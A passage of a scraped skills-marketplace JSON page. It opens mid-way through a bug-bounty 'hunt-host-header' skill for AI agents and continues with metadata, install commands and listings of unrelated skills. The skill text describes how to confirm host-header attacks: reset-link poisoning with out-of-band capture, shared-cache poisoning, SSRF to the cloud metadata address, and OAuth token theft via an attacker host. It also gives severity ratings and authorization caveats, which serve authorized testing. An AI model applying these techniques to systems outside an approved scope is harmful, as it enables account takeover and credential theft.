proof = inject a **Collaborator** host and show the inbound\nHTTP hit carrying the token when the link is clicked\u002Fpreviewed (OOB capture).\n✅ **Cache poison:** a request that **omits** the injected header (fresh egress IP \u002F incognito)\nstill returns the attacker payload → shared-cache poisoning proven. Demote to Low if Vary-keyed or\n`MISS`\u002F`Age:0` only.\n✅ **Routing SSRF:** real response body from `169.254.169.254` \u002F internal host, **or** an OOB\nDNS\u002FHTTP hit on your Collaborator from the front-end (blind case).\n✅ **Path-override:** status\u002Fbody diff vs the edge-blocked direct request proves the override took.\n✅ **OAuth\u002FOIDC:** the auth code \u002F token is actually delivered to the attacker host (captured),\nnot merely reflected.\n\n**Always rule out false positives:**\n- Reflected ≠ cached. Cached-for-you ≠ cached-for-others (check `Vary`, second IP).\n- A 200 echoing your Host string is not SSRF unless the *response content* came from the internal\n  target or your Collaborator fired.\n- Some mailers rewrite links to a fixed `SITE_URL` regardless of Host — reflected header in the\n  HTTP response does not guarantee a poisoned *email*; verify the email body.\n\n**Severity:**\n- Reset → ATO for any user: Critical\n- Routing SSRF → cloud metadata creds: Critical (if creds usable) \u002F High\n- Cache poisoning → mass XSS\u002Fredirect (shared key proven): High\n- Path-override → internal\u002Fadmin reach: High\n- Reflected only, uncacheable, not in email, no internal reach: Low \u002F informational\n\n## When to Use\n\n- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.\n- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.\n\n## Limitations\n\n- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.\n- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.\n- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.\n\n### Example\n\n```bash\n# Read-only first step; confirm scope before anything active.\ncat scope.txt  # target list from the authorized engagement brief\n```\n\n> Adapted from [elementalsouls\u002FClaude-BugHunter](https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter) (MIT); frontmatter, When to Use\u002FLimitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.\n",{"name":5,"risk":25,"source":43,"license":14,"sources":44,"category":37,"date_added":45,"description":7,"source_repo":46,"source_type":30,"report_count":47,"compatibility":48,"license_source":49},"https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter","portswigger_research, hackerone_public","2026-09-20","elementalsouls\u002FClaude-BugHunter",16,"Requires explicit written authorization for a target scope plus the relevant testing tools for this technique. Docs-only; helper scripts and commands not bundled.","https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\u002Fblob\u002Fmain\u002FLICENSE","f3312ba749561b6159f477dbfc9313c875d40a56",".agents\u002Fskills_archive\u002Fhunt-host-header","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612","2026-10-25 23:50:58",{"source":8,"skillName":5,"commands":56,"prompt":66,"zipAvailable":67},[57,60,63],{"tool":58,"command":59},"npx","npx skills add duc-duy-1612\u002FOnline-Delivery-Systems-Web --skill hunt-host-header",{"tool":61,"command":62},"bunx","bunx skills add duc-duy-1612\u002FOnline-Delivery-Systems-Web --skill hunt-host-header",{"tool":64,"command":65},"pnpm","pnpm dlx skills add duc-duy-1612\u002FOnline-Delivery-Systems-Web --skill hunt-host-header","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fhunt-host-header\u002FSKILL.md",true,[],[70,90,114,137,154,174],{"skillNo":71,"name":72,"nameZh":6,"description":73,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":74,"categories":75,"keywords":76,"publishedAt":38},"01M6Q0FA5FZ410Z33Z3TFQ4DBA","zero-trust","Implement zero-trust network architecture. Configure identity-based access, micro-segmentation, and continuous verification. Use when implementing modern security architectures.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fzero-trust\u002FSKILL.md",[],[77,78,79,80,81,82,72,83,84,85,86,31,30,21,87,88,27,26,23,89],"ZeRO","trust","zero trust","architecture","assessment","verification","segmentation","devops-security","access","configure","active","critical","implementing",{"skillNo":91,"name":92,"nameZh":6,"description":93,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":94,"categories":95,"keywords":96,"publishedAt":38},"01M6Q0F1YZJW3KX5FBKEVZ8CV4","zcode-delegate","Delegate coding tasks to the Z.AI ZCode CLI only when the user explicitly requests it, while the orchestrator retains review and landing responsibility.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fzcode-delegate\u002FSKILL.md",[],[97,98,99,100,101,102,103,104,105,106,107,108,109,31,110,30,111,112,88,113],"delegate","zcode","zcode delegate","review","cli","orchestration","tasks","run","Bash","model","node","read","orchestrator","files","desktop app","app","agent-orchestration",{"skillNo":115,"name":116,"nameZh":6,"description":117,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":118,"categories":119,"keywords":120,"publishedAt":38},"01M6Q0ETK41VGNMYEXW0T00AJN","youtube-transcript","Fetch YouTube transcripts through DeepAPI or local fallback tooling and save clean text output.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-transcript\u002FSKILL.md",[],[121,122,123,124,125,126,36,34,127,128,129,130,131,30,21,132,133,134,135,136],"transcript","youtube transcript","youtube","safe","github","codex","https","text","fetch","tooling","clean","local","output","deepapi","youtube transcripts","blob",{"skillNo":138,"name":139,"nameZh":6,"description":140,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":141,"categories":142,"keywords":143,"publishedAt":38},"01M6Q0EPPH2PVMDW40017F8WX0","youtube-transcript-skills","Fetch YouTube video transcripts, search videos\u002Fchannels, browse channels, and extract playlists via the getyoutubetranscript.com API - free tier, no card required.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-transcript-skills\u002FSKILL.md",[],[121,122,123,144,124,145,125,126,34,146,147,148,149,129,150,30,21,151,152,153],"youtube transcript skills","gemini","search","api","Video","browse","api-integration","free","card","channels",{"skillNo":155,"name":156,"nameZh":6,"description":157,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":158,"categories":159,"keywords":160,"publishedAt":38},"01M6Q0EAB96PX83W5PTE8A0R8D","youtube-notetaker","Turn YouTube talks into local study notes with slides, transcripts, editable annotations, and a markdown-backed viewer.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-notetaker\u002FSKILL.md",[],[123,161,162,101,124,163,164,165,166,34,148,167,168,169,170,21,171,132,172,173],"youtube notetaker","notetaker","workflow","official","notes","code","markdown","slides","annotations","README","study","dair-academy","viewer",{"skillNo":175,"name":176,"nameZh":6,"description":177,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":178,"categories":179,"keywords":180,"publishedAt":38},"01M6Q0E55F0GW5MX48V8HXS8B5","youtube-full","Fetch YouTube transcripts, search videos, browse channels, and extract playlists via TranscriptAPI — no yt-dlp, no Google API key, works from any cloud server.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-full\u002FSKILL.md",[],[181,123,182,183,124,145,146,184,185,147,148,149,129,186,150,30,21,151,187,135],"youtube full","full","google","server","dlp","credits","automatic"]